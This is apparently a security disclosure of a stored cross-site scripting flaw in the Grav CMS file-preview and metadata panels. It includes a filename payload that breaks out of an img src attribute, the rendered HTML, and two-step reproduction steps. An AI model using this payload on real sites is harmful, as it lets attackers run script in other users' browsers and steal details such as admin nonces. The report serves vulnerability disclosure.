Description

In Grav, you can preview the file you uploaded by hovering your mouse to the file and clicking the info icon.

The normal preview should be like this:

However, I noticed that it is possible to perform XSS on the filename due to the following HTML Code:

<div class="meta-preview">
    <img src="/user/pages/02.typography/xss.svg?cropZoom=400,300">
</div>

We can upload a file with a filename of "><img src=x onerror=alert(1)> and it will escape the quote for the src parameter and execute our XSS payload.

Rendered HTML Code:

<div class="meta-preview">
    <img src="/user/pages/02.typography/">
    <img src="x" onerror="alert(1)">
    .svg?cropZoom=400,300" />;
</div>

Aside from that, I also found that the meta-content is also vulnerable when returning the error message.

<div class="meta-content">
    <ul>
        <li>
            <strong></strong> 
            " ">"
            <img src="x" onerror="alert(1)">
            .svg.meta.yaml doesn't exist
       </li>
    </ul>
</div>

Proof of Concept

1. Upload a file with "><img src=x onerror=alert(1)> as filename
2. Click the Metadata or info icon of the uploaded file

Impact

A malicious user could execute JS code and target other users of the website by retrieving their details such as Admin-Nonce, IP address, User Agent, Current Page Content, etc.